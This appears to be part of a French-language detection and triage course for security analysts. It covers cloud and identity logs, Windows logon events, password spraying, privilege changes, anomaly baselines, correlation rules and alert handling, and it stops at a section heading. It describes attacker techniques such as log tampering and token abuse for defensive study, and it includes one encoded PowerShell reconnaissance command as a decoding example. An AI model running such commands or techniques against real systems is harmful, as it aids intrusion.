Les changements de ressources cloud et l’activité des identités peuvent révéler un attaquant avant l’apparition d’une alerte sur un hôte. Apprends quels journaux décrivent la gestion des ressources, l’accès aux données et les connexions, puis relie les identités aux autorisations et aux identifiants d’authentification qu’elles modifient. L’automatisation produit beaucoup d’activité normale : compare donc chaque action au rôle et à l’origine attendus de l’identité ainsi qu’au processus de changement, puis examine ce qui suit un accès réussi.

3.1 Distingue la gestion du cloud de l’utilisation des données

Les fournisseurs cloud protègent leur infrastructure ; les clients doivent activer, collecter et examiner les données de surveillance de leurs comptes, identités et ressources. Les clics dans la console, les scripts, les outils en ligne de commande et les modèles d’infrastructure gèrent généralement les ressources par API. Leur piste d’audit indique qui a créé, modifié ou supprimé une ressource. L’activité dans une machine virtuelle ou une application nécessite toujours les journaux de la charge de travail.

Choisis la bonne couche cloud
CoucheEnregistrementsExemples
Plan de contrôleGestion des ressources et des autorisationsGestion CloudTrail, activité Azure, Google Admin Activity
Plan de donnéesAccès aux données stockéesÉvénements de données CloudTrail, Google Data Access
RéseauMétadonnées des échanges et des transfertsJournaux de flux VPC ou de réseau virtuel
Charge de travail ou serviceActivité applicative et de plateformeJournaux de machines virtuelles, WAF, répartiteur de charge, audits Kubernetes

L’historique des événements CloudTrail fournit 90 jours d’événements de gestion enregistrés par région. Un historique plus long et une couverture plus large nécessitent une configuration volontaire, et les événements de données sont désactivés par défaut. Les journaux Google Admin Activity sont toujours écrits et ne peuvent pas être désactivés ; les journaux Data Access sont désactivés par défaut sauf pour BigQuery. Active une collecte utile des accès aux données sur les ressources sensibles et tiens compte de son volume.

Lis une action cloud champ par champ

Dans CloudTrail, eventTime est en UTC ; eventSource indique le service ; eventName indique l’action d’API. userIdentity indique l’appelant, tandis que requestParameters indique la cible et les paramètres demandés. Lis aussi sourceIPAddress, userAgent, awsRegion, responseElements et tout errorCode ou errorMessage.

Pour une connexion à la console, examine ConsoleLogin provenant de signin.amazonaws.com, la réussite ou l’échec dans responseElements.ConsoleLogin et additionalEventData.MFAUsed. Pour une nouvelle clé, distingue l’appelant de l’utilisateur nommé dans requestParameters.userName. Il peut s’agir d’identités différentes.

Reconnais les indicateurs cloud liés

Une clé volée peut d’abord appeler GetCallerIdentity, puis énumérer les ressources avec List, Describe et Get. Des résultats AccessDenied répétés révèlent une exploration des autorisations même lorsque les contrôles d’accès résistent. De nouveaux identifiants d’authentification, des prises de rôle inattendues, l’utilisation du compte racine ou des changements qui exposent les ports 22/3389 à 0.0.0.0/0 justifient une vérification du contexte. De nombreuses instances de grande taille équipées de processeurs graphiques dans une région inutilisée peuvent indiquer un détournement de ressources.

Dans la séquence de l’exemple, ci-deploy passe de son adresse habituelle de serveur de compilation et de son agent utilisateur SDK à une nouvelle adresse et à la ligne de commande. Il énumère les ressources, crée une clé pour admin-backup, puis appelle StopLogging. Ensemble, ces actions suggèrent un usage abusif d’identifiants d’authentification, le maintien d’un accès et une tentative d’aveugler la surveillance. Procède à l’escalade et consulte des sources indépendantes pour rechercher l’activité ultérieure.

Collecte les journaux dans les régions et les comptes concernés. Les ressources éphémères peuvent disparaître avant le triage ; utilise des identifiants et des étiquettes de ressource stables et transmets les journaux des hôtes de manière centralisée. Une adresse cloud partagée ne permet pas à elle seule d’identifier un client ni d’établir que l’activité appartient à l’automatisation habituelle de l’organisation.

Points clés

  • Distingue les journaux de gestion, d’accès aux données, du réseau et des charges de travail.
  • Vérifie les paramètres de collecte cloud par défaut et la couverture des régions.
  • Distingue l’appelant de la cible d’une action d’API.
  • Relie la reconnaissance, les modifications d’identifiants d’authentification et l’altération de la journalisation.
  • Suis les ressources éphémères par des identifiants stables et conserve leurs journaux de manière centralisée.

3.2 Reconnais les attaques par mot de passe et l’usage abusif des sessions

Un fournisseur d’identité authentifie les utilisateurs pour de nombreuses applications. Son enregistrement de connexion peut indiquer l’utilisateur, l’application, l’adresse, l’équipement, le client, la méthode, le résultat de l’authentification multifacteur, le résultat de la stratégie et la raison de l’échec. Entra sépare les connexions interactives et non interactives des utilisateurs, ainsi que celles des principaux de service et des identités managées. Une recherche limitée aux utilisateurs interactifs manque l’activité des applications et des jetons.

Interprète l’authentification Windows

Les contrôleurs de domaine enregistrent l’activité des tickets Kerberos (4768, 4769, 4771) et la validation des identifiants d’authentification NTLM (4776). L’ordinateur auquel on accède enregistre 4624 en cas de réussite et 4625 en cas d’échec. L’événement 4740 enregistre le verrouillage d’un compte.

Type d’ouverture de sessionSignification
2Interactive
3Réseau
4Traitement par lots
5Service
7Déverrouillage
10Interactive à distance, notamment RDP
11Interactive avec informations mises en cache

Dans 4625, examine à la fois Status et SubStatus. 0xC000006A indique un mot de passe incorrect, 0xC0000064 un nom d’utilisateur inconnu, 0xC0000072 un compte désactivé, 0xC0000234 un compte verrouillé et 0xC000006F une ouverture de session hors des heures autorisées. Ces raisons permettent de distinguer un problème de mot de passe d’un problème de stratégie ou d’état du compte.

Regroupe les événements pour révéler l’attaque

Une attaque par force brute essaie de nombreux mots de passe contre un seul compte. La pulvérisation de mots de passe essaie un ou quelques mots de passe probables sur de nombreux comptes, souvent en restant sous les seuils de verrouillage par compte. Le bourrage d’identifiants réutilise des paires de noms d’utilisateur et de mots de passe divulguées. Compte les tentatives par compte et les comptes distincts par source, puis recherche les réussites. Les attaquants peuvent répartir les tentatives sur plusieurs adresses : aucun de ces regroupements ne fournit donc seul une couverture complète.

Dans l’exemple de pulvérisation, une adresse essaie 46 noms d’utilisateur une fois chacun : 41 résultats indiquent un mot de passe incorrect et cinq un utilisateur inconnu. Une ouverture de session réseau réussie ultérieurement pour m.tanaka depuis cette source augmente la priorité. Elle suggère fortement que des identifiants d’authentification fonctionnent après la pulvérisation, mais vérifie le package d’authentification et l’activité ultérieure : le type 3 peut aussi utiliser des empreintes ou des tickets volés.

Vérifie comment la session a été établie

Le déplacement impossible compare la distance au temps écoulé. Madrid et Séoul sont distantes d’environ 10 000 km ; parcourir cette distance en 45 minutes nécessiterait environ 13 300 km/h. Vérifie les sorties VPN, les bureaux hébergés, la géolocalisation des opérateurs mobiles, les équipements et les résultats des sessions avant de déterminer la cause.

Des demandes d’authentification multifacteur répétées et refusées, suivies d’une approbation, peuvent indiquer une fatigue liée à l’authentification multifacteur. Une session inhabituelle dont l’authentification multifacteur est satisfaite par un jeton existant peut refléter un rejeu de jeton. Les voies d’authentification anciennes sans authentification multifacteur et l’enregistrement d’une nouvelle méthode après une connexion risquée méritent aussi attention. Une étape d’authentification multifacteur accomplie ne suffit pas à expliquer ces situations.

Un compte de service qui se connecte de manière interactive, une connexion réussie au compte d’un employé parti ou l’apparition simultanée d’un nouvel équipement et d’un nouveau lieu peuvent indiquer un accès obtenu par vol. Des échecs répétés à un rythme régulier depuis un équipement interne correspondent souvent à un ancien mot de passe enregistré. Recherche les réussites et les actions qui suivent les échecs, et vérifie les identités des utilisateurs comme celles des charges de travail.

Points clés

  • Lis le résultat de connexion, la méthode, le client, l’équipement et le contexte de la stratégie.
  • Utilise les types d’ouverture de session et les codes d’échec pour identifier le chemin d’accès.
  • Regroupe par compte et par source pour distinguer les tentatives de devinette de la pulvérisation.
  • Suis les sessions réussies et examine les usages abusifs des jetons ou de l’authentification multifacteur.
  • Vérifie le contexte du VPN et des équipements avant d’interpréter les alertes de déplacement.
  • Inclus les identités d’application et les connexions non interactives.

3.3 Vérifie qui a modifié les accès et qui les a obtenus

Un attaquant qui obtient un accès peut créer un autre identifiant d’authentification ou ajouter des privilèges pour poursuivre son activité. Les modifications sensibles de comptes et de rôles sont souvent assez rares pour être examinées de près, surtout lorsqu’elles suivent une connexion inhabituelle.

Identifie l’auteur de l’action, la cible et le changement

Lis cinq faits : qui a agi, quel compte ou quelle ressource a été modifié, ce qui a changé, quand et depuis où. Dans un événement de modification de compte, le sujet est l’auteur de l’action et la cible est le compte concerné. Compare ensuite l’action à une demande approuvée et à ce que l’auteur gère normalement.

Les événements Windows comprennent 4720 pour la création d’un compte, 4722 pour son activation, 4724 pour une tentative de réinitialisation de mot de passe et 4738 pour les modifications de compte. Les ajouts de membres apparaissent sous les identifiants 4728, 4732 et 4756 pour les groupes de sécurité globaux, locaux et universels. Examine les groupes sensibles comme Domain Admins, Enterprise Admins, Schema Admins et le groupe local Administrators. L’appartenance imbriquée compte : un changement dans un groupe appartenant à un groupe privilégié peut aussi accorder des privilèges effectifs.

L’événement 4672 attribue des privilèges spéciaux lors d’une nouvelle ouverture de session. Il apparaît pendant le travail courant des administrateurs et du compte système. Demande-toi si ce compte devrait posséder ces privilèges et si l’origine de cette connexion est attendue ; considérer chaque 4672 comme un motif d’escalade produirait du bruit.

Étends les mêmes questions au cloud

Dans AWS, examine CreateUser, CreateAccessKey, les actions d’association de stratégie ou de stratégie incorporée, ainsi que UpdateAssumeRolePolicy. Une modification de la stratégie de confiance peut permettre à un autre compte d’endosser un rôle. Lis le changement réel d’autorisation ou de confiance, pas seulement le nom de l’action.

Les événements d’audit Entra peuvent montrer des ajouts à des rôles, de nouveaux identifiants d’authentification de principaux de service, des consentements à des applications, l’enregistrement de méthodes d’authentification multifacteur et des changements d’accès conditionnel. Un secret ou certificat ajouté à une identité d’application dotée de pouvoirs étendus peut conserver un accès sans demande d’authentification multifacteur à une personne. Un consentement OAuth peut donner à une application un accès durable aux courriels ou aux fichiers même après le changement du mot de passe d’un utilisateur ; examine l’octroi de consentement lui-même.

Relie les événements autour d’un changement de privilège

À 23 h 40 UTC, le compte de support hd-ops3 ajoute svc-backup à Domain Admins sans ticket. À 23 h 31, l’auteur de l’action s’était connecté depuis une origine VPN inattendue ; à 23 h 44, la cible utilise RDP vers DC02. L’auteur inhabituel, l’absence d’autorisation, l’accès risqué précédent et l’utilisation immédiate du nouveau droit justifient une escalade.

Douze comptes créés par le service de gestion des identités à 07 h et correspondant à la liste d’intégration racontent une autre histoire. L’autorisation est un élément de preuve à vérifier, pas une hypothèse fondée sur le nom d’un administrateur.

Concentre la surveillance sur les appartenances privilégiées, les rôles dotés de pouvoirs étendus, les comptes de service, les identifiants d’authentification, les consentements et les changements effectués hors des canaux habituels. La seule création de comptes ne permet pas de repérer un attaquant qui modifie un compte ou une application existante. Conserve les identifiants d’événements, les valeurs avant et après et la référence d’autorisation dans le dossier de triage pour que la décision puisse être revue.

Points clés

  • Distingue l’auteur de l’action du compte ou de la ressource modifié.
  • Vérifie les appartenances aux groupes sensibles et imbriqués.
  • Examine les identifiants d’application et les consentements ainsi que les comptes des personnes.
  • Relie le changement aux connexions précédentes et à son utilisation ultérieure.
4

Transforme l’activité normale et les motifs d’événements en règles

Une alerte doit avoir une raison de se distinguer. Les références de fonctionnement décrivent l’activité attendue d’un utilisateur, d’un hôte ou d’un service ; la corrélation relie les événements en un motif qui a un sens. Apprends à choisir des comparaisons adaptées à l’entité, à mesurer les écarts et à construire une logique de règle avec un regroupement et des horaires explicites. Des choix apparemment mineurs, comme compter les comptes plutôt que les tentatives, peuvent déterminer si une attaque est visible ou non.

4.1 Mesure les écarts par rapport à une référence de fonctionnement utile

Une référence de fonctionnement décrit le comportement normal d’une entité sur une période de référence. Une anomalie est un écart important par rapport à cette référence. Une activité inhabituelle demande une explication : il peut s’agir d’une attaque, d’un changement métier ou d’un problème de données.

Compare les bons éléments

Une référence de fonctionnement utile peut décrire le volume, les horaires, les relations ou la configuration. Par exemple, le nombre d’octets par jour, les horaires de travail habituels, les destinations normales, les logiciels approuvés et les ports ouverts. Une référence fondée sur un groupe de pairs compare les personnes ou systèmes qui effectuent un travail semblable, ce qui aide lorsqu’une entité a peu d’historique.

Choisis d’abord l’entité et l’indicateur. Utilise plusieurs semaines pour saisir les cycles hebdomadaires et inclus les pics de fin de mois ou de trimestre lorsqu’ils sont pertinents. Retire les incidents et interruptions connus des données d’apprentissage. Compare le lundi à 09 h à des périodes semblables d’autres lundis, pas à un dimanche calme. Les nouveaux logiciels, les changements organisationnels et l’activité saisonnière nécessitent une revue ; sinon, les changements ordinaires deviennent un flux d’anomalies.

Calcule et interprète l’écart

La moyenne mesure le niveau moyen et l’écart-type mesure la dispersion. Un score z exprime la distance à la moyenne en nombre d’écarts-types :

z=valeur−moyenneeˊcart-type

Pour FS01, les totaux sortants de dix jours ouvrés ont une moyenne de 4,1 Go et un écart-type d’échantillon d’environ 0,26 Go. Un seuil situé à trois écarts-types au-dessus de la moyenne est d’environ 4,87 Go avec l’écart-type non arrondi. Les 9,6 Go d’aujourd’hui ont un score z d’environ 21. Les recherches suivantes devraient établir la destination, le processus ou le compte et les travaux planifiés ; la statistique seule ne peut pas fournir de cause.

La moyenne augmentée de trois écarts-types est une approche de départ pour des données dont la distribution a approximativement la forme d’une cloche. Les volumes de sécurité présentent souvent une distribution asymétrique, avec de nombreuses petites observations et quelques très grandes. Les médianes et les centiles peuvent fournir des comparaisons plus utiles. Un seuil supérieur au 99e centile historique repère une observation inhabituellement élevée sans supposer une distribution en forme de cloche. Il dépend néanmoins d’une période de référence représentative.

Combine les signaux faibles par entité

L’analyse du comportement des utilisateurs et des entités, ou UEBA, construit des profils comportementaux, souvent à l’aide de l’apprentissage automatique et de groupes de pairs. Le déclenchement d’alertes fondé sur le risque additionne les scores d’une même entité sur une période. Une connexion depuis un nouveau pays valant 40 points, une première utilisation d’un outil d’administration valant 30 et un téléchargement volumineux valant 45 donnent un total de 115 en 24 heures. Avec un seuil de 100, l’alerte combinée présente un tableau plus convaincant que trois alertes faibles distinctes.

L’identité et la fenêtre temporelle sont essentielles. Additionner les scores d’utilisateurs sans lien produirait un résultat différent et trompeur. Les scores hiérarchisent les éléments de preuve ; ils ne sont pas des probabilités sauf si le système les définit explicitement ainsi.

Une référence de fonctionnement empoisonnée peut apprendre à considérer l’activité d’un attaquant comme normale. Une activité lente et discrète peut aussi rester sous un seuil de volume, comme 200 Mo ajoutés aux 4 Go transférés habituellement chaque jour par un serveur. Combine la logique de détection des anomalies avec des règles de comportements connus et des contrôles de l’état des sources de données, puis réévalue les seuils lorsque l’activité normale change.

Points clés

  • Choisis une entité, un indicateur, une période représentative et des pairs pertinents.
  • Compare des cycles d’activité équivalents et retire les données de référence connues comme erronées.
  • Utilise les scores z uniquement lorsque la dispersion et la distribution ont un sens.
  • Envisage les médianes et les centiles pour les indicateurs dont la distribution est asymétrique.
  • Cumule le risque pour une même entité sur une période définie.

4.2 Précise ce qu’une règle de corrélation doit relier

Un système de gestion des informations et des événements de sécurité (SIEM) collecte les événements, analyse leur syntaxe, les normalise, les stocke et permet de les rechercher, puis applique des règles ou des analyses pour déclencher des alertes. La corrélation relie, sur une période donnée, des événements qui partagent une identité, un hôte, une adresse, une session ou un autre attribut. Les outils SOAR peuvent automatiser le traitement des alertes obtenues.

Décompose la règle

Chaque règle nécessite un filtre, une clé de regroupement, une fenêtre, une agrégation, une condition et une alerte en sortie. Précise chaque élément avant de choisir la syntaxe du produit.

Type de règleMotif
Événement uniqueUn effacement du journal d’audit
SeuilAu moins 10 échecs par compte en 5 minutes
Nombre de valeurs distinctesAu moins 20 comptes différents par source en 10 minutes
SéquenceÉchecs suivis d’une réussite
Sources croiséesÉvénements associés d’identité ou d’hôte provenant de sources distinctes
AbsenceSignal de vie attendu manquant
StatistiqueÉcart par rapport à une référence de fonctionnement

La clé de regroupement détermine ce que la règle peut détecter. Les décomptes par compte révèlent des tentatives de devinette concentrées. Les utilisateurs distincts par source révèlent une pulvérisation depuis une source unique. Les sources distinctes par compte révèlent des attaques distribuées contre ce compte. Une pulvérisation distribuée sur différents comptes et différentes adresses peut rester sous tous ces seuils ; examine les applications cibles communes, les horaires, les caractéristiques des clients ou les changements du taux global d’échec.

Traite une séquence

Sélectionne d’abord les échecs d’authentification regroupés par user.name et source.ip, avec au moins 10 échecs en 5 minutes. Exige ensuite une réussite pour ce même utilisateur et cette même source dans les 10 minutes suivantes. Douze échecs de jdoe depuis 198.51.100.20 entre 10:03:10 et 10:06:40, suivis d’une réussite à 10:07:05, satisfont les deux étapes. Une réussite pour un autre utilisateur ne doit pas compléter la séquence.

Sigma peut exprimer des corrélations entre règles de base avec type, rules, group-by, timespan et condition. Les types comprennent event_count, value_count, temporal et temporal_ordered. Une corrélation fondée sur le nombre d’événements d’une règle d’échec d’ouverture de session peut regrouper par TargetUserName, utiliser 5m et exiger gte: 10. La conversion vers un système cible nécessite toujours une association correcte des champs et une prise en charge de la sémantique utilisée.

Adapte les horaires au motif recherché

Les fenêtres fixes divisent le temps en blocs. Six échecs de 10 h à 10 h 05 et quatre de 10 h 05 à 10 h 10 n’atteignent jamais dix dans un même bloc. Une fenêtre glissante de cinq minutes peut repérer les dix si la rafale tient dans cette fenêtre. Les fenêtres plus longues peuvent saisir des attaques plus lentes et nécessitent davantage de traitement. Le délai d’apparition des alertes dépend de la fréquence d’exécution, du délai d’ingestion et de l’attente éventuelle de la fermeture d’une fenêtre avant l’évaluation.

Utilise l’horodatage de l’événement et tiens compte des arrivées tardives avec un délai ou une période de recherche rétrospective adaptés. Normalise les champs entre sources, corrige les problèmes d’horloge et déduplique les livraisons répétées à l’aide de l’identité de l’événement avant de compter. Les exécutions de règle qui se chevauchent nécessitent aussi un regroupement des alertes pour qu’une même rafale ne submerge pas la file.

L’alerte devrait contenir l’objectif de la règle, l’utilisateur ou l’hôte, les adresses, les décomptes, les heures du premier et du dernier événement, la gravité, les liens vers les événements bruts et des indications de triage. Vérifie les données nécessaires et les volumes locaux avant le déploiement : la corrélation ne peut pas reconstituer un événement que la source n’a jamais enregistré.

Points clés

  • Précise le filtre, la clé, la fenêtre, l’agrégation, la condition et la sortie.
  • Choisis un regroupement adapté au motif d’attaque.
  • Exige les mêmes entités et le bon ordre dans les règles de séquence.
  • Gère les bornes des fenêtres, les données tardives et les livraisons en double.
  • Fournis aux analystes les éléments de preuve et le contexte nécessaires au triage de la correspondance.
  • Teste les motifs distribués sur les comptes et les adresses source.
5

Prends et documente une décision sur une alerte

Le triage transforme une alerte en une action suivante justifiée. Apprends à distinguer la correspondance trouvée par une règle de l’utilité de l’alerte, à choisir le travail selon le risque et l’urgence et à suivre un parcours reproductible à travers les événements bruts, le contexte et l’activité associée. Des requêtes ciblées et un décodage prudent aident à répondre à la question immédiate. Des notes claires permettent à un autre analyste de comprendre la décision et aux intervenants de prendre le relais lorsqu’une escalade est nécessaire.

5.1 Classe les résultats et mesure la qualité des alertes

Une alerte peut être techniquement correcte sans nécessiter de gestion d’incident. Utilise des catégories de résultat cohérentes pour que les dossiers de clôture aident à améliorer les détections au lieu de masquer les raisons de la clôture.

Distingue le comportement de son sens
RésultatSignification
Vrai positifUne activité réellement malveillante a été détectée
Vrai positif béninLe comportement décrit a eu lieu et était autorisé
Faux positifLa règle a identifié à tort le comportement recherché
Faux négatifUne activité réellement malveillante n’a pas été détectée
Vrai négatifUne activité bénigne n’a, à juste titre, produit aucune alerte

Un scanneur de vulnérabilités autorisé effectue réellement des balayages. Une règle de balayage qui le repère produit un vrai positif bénin. Une erreur d’analyse syntaxique qui fait apparaître le trafic normal comme un balayage produit un faux positif. Les équipes utilisent les catégories différemment ; l’exigence opérationnelle essentielle est une définition cohérente et une raison consignée.

L’exactitude de la correspondance avec le comportement détermine si le comportement décrit a eu lieu. La précision des alertes indique ici la part de toutes les alertes dont le caractère malveillant a été confirmé. Son dénominateur comprend les faux positifs et les vrais positifs bénins :

preˊcision=alertes confirmeˊes malveillantesensemble des alertes

Six alertes malveillantes parmi 200 au total donnent une précision de 3 %. Si le scanneur représente de nombreuses correspondances correctes mais autorisées, l’exactitude de la correspondance avec le comportement peut être bonne tandis que la précision des alertes est faible. Cela suggère de changer le périmètre opérationnel de la règle, sans prétendre que ses observations étaient erronées.

Tiens compte de ce qui a été manqué

Le rappel mesure la part de l’activité malveillante réelle qui a été détectée :

rappel=cas malveillants deˊtecteˊscas malveillants deˊtecteˊs+cas malveillants manqueˊs

Les cas manqués peuvent être découverts lors d’incidents, de chasses, de travaux d’équipe rouge ou de tests contrôlés. Sans ces éléments de preuve, une file calme en dit peu sur le rappel. Relever un seuil peut supprimer des alertes bruyantes tout en manquant des attaques plus lentes : évalue donc les comportements détectés et manqués.

Le taux de base compte parce que les attaques sont rares parmi les événements ordinaires. Un taux de déclenchement à tort de 0,1 % sur environ deux millions d’événements bénins produit environ 2 000 fausses alertes. Même un faible pourcentage peut submerger une équipe. L’agrégation, un contexte plus solide et les scores de risque peuvent rendre les signaux faibles plus utiles.

Décide de ce qui mérite attention en premier

La gravité décrit à quel point l’activité détectée serait sérieuse si elle était avérée. La priorité détermine l’ordre de traitement à partir de la gravité, du niveau de confiance et de la criticité de l’actif ou de l’utilisateur. Une alerte de gravité moyenne sur un contrôleur de domaine peut être plus urgente qu’une alerte de gravité élevée sur une machine de test isolée.

Les alertes répétées de faible valeur créent une fatigue liée aux alertes : les analystes les survolent et les attaques réelles sont plus faciles à manquer. Chaque alerte mise en file devrait permettre une action ou une décision. Garde les observations qui n’appellent aucune action dans les journaux ou les tableaux de bord. Consigne les éléments de preuve et les raisons de clôture pour que les personnes chargées du réglage puissent distinguer une mauvaise analyse syntaxique, un comportement autorisé, des sorties en double et de véritables détections malveillantes.

Points clés

  • Distingue les faux positifs des correspondances autorisées.
  • La précision des alertes rapporte les alertes malveillantes à l’ensemble des alertes.
  • Le rappel nécessite des éléments de preuve sur les cas malveillants détectés et manqués.
  • Fixe les priorités selon le niveau de confiance et la criticité ainsi que la gravité.

5.2 Traite l’alerte jusqu’à une transmission claire du dossier

Le triage est la première appréciation visant à déterminer si une alerte est réelle, son degré d’urgence et la suite à donner. Respecte les objectifs de réponse de l’équipe et utilise la priorité pour décider quelle alerte examiner en premier.

Suis un parcours reproductible
  1. Comprends. Lis l’objectif et la logique de la règle, les entités, la période et la procédure d’exploitation. Sache quel comportement la règle affirme détecter et quelles causes bénignes sont attendues.
  2. Valide. Ouvre les événements bruts. Vérifie l’analyse syntaxique, les horodatages, l’hôte et l’identité, le résultat de l’événement, les doublons et les données de test. Un titre convaincant ne peut pas corriger une mauvaise association du champ source.
  3. Ajoute du contexte. Vérifie le rôle et le responsable de l’actif, les privilèges, l’activité normale, les tickets de changement, les tests planifiés, la réputation des indicateurs et les clôtures précédentes.
  4. Détermine le périmètre. Recherche les hôtes, utilisateurs, destinations, empreintes et alertes associés avant et après la correspondance. Établis une courte chronologie en UTC.
  5. Décide et documente. Clôture avec un résultat étayé, poursuis la surveillance en indiquant pourquoi ou procède à l’escalade pour un incident suspecté.

Une fenêtre de maintenance annoncée nécessite un enregistrement d’autorisation correspondant. Un compte administrateur familier peut lui-même être compromis. Les vérifications de contexte devraient mettre à l’épreuve l’explication plausible au lieu de simplement l’accepter.

Traite l’alerte de pulvérisation de mots de passe

L’alerte signale que 198.51.100.77 a essayé 46 comptes de 10 h à 10 h 20 UTC. Les enregistrements 4625 bruts montrent 41 résultats de mot de passe incorrect et cinq résultats d’utilisateur inconnu, tous de type 3. L’adresse n’est pas celle d’un scanneur autorisé et aucun test d’intrusion n’est prévu.

Recherche les réussites depuis la même origine et sur la même période. Un 4624 pour m.tanaka apparaît à 10 h 21, suivi d’un accès à la boîte aux lettres à 10 h 24. Ces événements ultérieurs augmentent le niveau de confiance et l’urgence au-delà de ce que justifierait un ensemble de tentatives bloquées. Documente le compte qui a réussi et les comptes pour lesquels aucune réussite n’a été observée. L’absence dans les journaux disponibles doit rester liée au périmètre de cette recherche.

La décision est de procéder à l’escalade pour activité malveillante avec une priorité élevée. Joins les enregistrements bruts, les requêtes, les vérifications d’autorisation et la chronologie. Les rapports de réputation étayent la décision, mais les actions liées d’authentification et d’accès à la boîte aux lettres constituent les principaux éléments de preuve.

Laisse un dossier utilisable par un autre analyste

Un dossier de clôture indique ce qui a été vérifié, les identifiants et horaires d’événements pertinents, le périmètre des requêtes, les éléments de preuve, le raisonnement et le résultat. Pour un vrai positif bénin, inclus la référence d’autorisation et la personne qui l’a confirmée. Pour un faux positif, explique la discordance et demande un réglage si elle se reproduit.

La transmission du dossier lors de l’escalade indique ce qui s’est passé, quand, les entités concernées, les éléments de preuve, la gravité et le niveau de confiance évalués, les questions sans réponse et tout risque immédiat comme une session active ou un transfert sortant en cours. L’équipe de réponse aux incidents doit pouvoir distinguer les faits observés des hypothèses. Si l’impact peut être élevé et qu’un doute important subsiste, transmets clairement cette incertitude lors de l’escalade au lieu d’attendre toutes les vérifications possibles.

Fixe une limite de temps pour le travail de faible priorité afin qu’il ne prenne pas la place des alertes critiques. Enregistre suffisamment de détails sur les requêtes et leurs résultats pour que l’analyste suivant puisse reproduire la recherche et poursuivre à partir des mêmes éléments de preuve.

Points clés

  • Comprends la règle et valide-la à partir des éléments de preuve bruts.
  • Vérifie l’autorisation et l’activité attendue avant d’accepter une explication bénigne.
  • Détermine le périmètre des réussites et de l’activité ultérieure, pas seulement des échecs.
  • Consigne les éléments de preuve, le raisonnement, le résultat et l’incertitude restante.
  • Procède à l’escalade des situations potentiellement graves avec une transmission concise et exploitable.

5.3 Recherche, effectue des pivots et décode avec prudence

Une bonne requête d’investigation répond à une question précise. Pars de l’heure et de l’entité de l’alerte, sélectionne les champs utiles et trie par horodatage de l’événement. Élargis la recherche lorsqu’un résultat te donne une raison de le faire.

Passe d’un indice aux éléments de preuve associés

Une requête indépendante du fournisseur pourrait demander les événements d’authentification provenant de 198.51.100.77 sur 24 heures, regroupés par user.name et event.outcome. Les décomptes révèlent l’étendue ; les lignes brutes établissent les actions et les heures exactes. Une recherche unique sur plusieurs mois de toutes les sources est souvent lente et difficile à interpréter.

Le pivot d’investigation suit une relation : de l’adresse aux hôtes qui la contactent, de l’hôte au processus à l’origine de la connexion, du processus à l’utilisateur, puis de l’utilisateur aux connexions. Note à chaque étape la requête, les bornes temporelles, les identifiants et le résultat. Fais correspondre les identifiants de processus et les horaires d’événements lorsqu’ils sont disponibles ; sinon, une adresse ou un numéro de processus réutilisé peut créer un faux lien.

Décode sans exécuter
EncodageIndiceExemple
Base64Lettres, chiffres, +, /, parfois un remplissage =Texte de commande encodé
Encodage pour cent% et deux chiffres hexadécimaux%27 représente une apostrophe
HexadécimalPaires de chiffres hexadécimaux636d642e657865 représente cmd.exe

Le paramètre PowerShell -EncodedCommand utilise du texte UTF-16LE encodé en Base64. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== se décode en whoami /all. Sélectionne le bon encodage de texte après le décodage des octets. Un outil comme CyberChef peut enchaîner les étapes ; consigne les couches et conserve la valeur d’origine. Le décodage révèle du texte à examiner ; il ne nécessite pas d’exécuter la commande.

Ajoute du contexte externe en sécurité

Les informations d’enregistrement, l’âge du domaine, le propriétaire du réseau, la géolocalisation, la réputation IP, les recherches d’empreintes et les rapports existants de bac à sable peuvent guider la recherche suivante. Un domaine récent ou une adresse cloud partagée qui fait l’objet de signalements nécessite des éléments de confirmation. Une réputation sans signalement peut correspondre à une menace nouvelle ou rarement observée.

Protège les données de l’investigation : utilise des outils de recherche approuvés et des bacs à sable isolés, recherche une empreinte au lieu de téléverser un fichier sensible sur un scanneur public et évite de visiter directement une infrastructure suspecte depuis le réseau de l’entreprise. Les téléversements publics peuvent exposer des fichiers confidentiels ou révéler une investigation à un attaquant.

Les assistants d’IA peuvent résumer les journaux, expliquer des commandes ou rédiger des recherches. Vérifie les champs et les conclusions qu’ils suggèrent dans les événements bruts et la documentation. Utilise les outils autorisés par la politique de données de l’organisation. Traite les chaînes de journal contrôlées par un attaquant, notamment les agents utilisateurs et les noms de fichiers, comme des données même lorsqu’elles contiennent des instructions destinées à un système d’IA.

Distingue les listes d’entités

Un pivot dans le proxy à partir d’un hôte en trouve trois autres qui contactent la même adresse : quatre hôtes ont eu un contact. Une recherche dans la messagerie trouve 14 destinataires d’un document. Ce sont des populations différentes. Confirme l’exécution sur les hôtes à l’aide des éléments des terminaux et associe les destinataires à leurs équipements avant d’élargir le périmètre. Le contact réseau seul ne répond pas à la question de l’exécution, et soustraire le nombre d’hôtes du nombre de destinataires produit un résultat sans signification.

Points clés

  • Commence par des recherches ciblées, puis élargis-les selon les éléments de preuve.
  • Consigne les requêtes de pivot, les identifiants, les bornes temporelles et les résultats.
  • Décode chaque couche avec le bon encodage de caractères.
  • Utilise des outils de réputation et d’analyse approuvés qui protègent les données sensibles.
  • Vérifie les résultats de l’IA et traite le texte des journaux comme des données non fiables.
  • Distingue le contact réseau, la remise du fichier et l’exécution confirmée.
6

Construis des détections qui restent utiles

Une détection demande un travail de maintenance : ce n’est pas une règle écrite une fois puis oubliée. Pars d’un comportement pertinent et des données qui peuvent le révéler, puis teste la détection et l’activité normale avant le déploiement. Ensuite, utilise les résultats du triage pour affiner la logique, limite les exclusions et relance les tests lorsque les règles ou les données changent. La qualité vient de la détection de comportements utiles avec des éléments de preuve sur lesquels un analyste peut agir.

6.1 Écris et teste une détection fondée sur le comportement

L’ingénierie de la détection traite les règles selon un processus reproductible de conception, de test et de maintenance. La détection sous forme de code conserve les règles dans un système de gestion de versions avec des revues et des contrôles automatisés, afin qu’un changement puisse être expliqué et reproduit.

Pars du comportement et des données

Définis le besoin à partir d’une menace pertinente, d’un incident, d’une technique ATT&CK, d’un constat d’équipe rouge ou d’une lacune connue. Identifie la source et les champs qui le révèlent. Confirme la collecte, l’analyse syntaxique et la normalisation avant d’écrire la logique. Ensuite, écris, teste, documente, déploie, règle et revois la détection, puis retire-la le moment venu.

Les indicateurs atomiques comme une empreinte de fichier peuvent identifier rapidement un artefact connu. Les règles comportementales, comme un programme Office qui lance un interpréteur de script, résistent à davantage de changements de l’artefact. Associe le comportement aux techniques ATT&CK pertinentes, par exemple T1059.001 pour PowerShell ou T1105 pour le transfert entrant d’outils. Une notation indique la couverture visée ; un test réussi établit que l’implémentation locale la détecte réellement.

Lis une règle Sigma

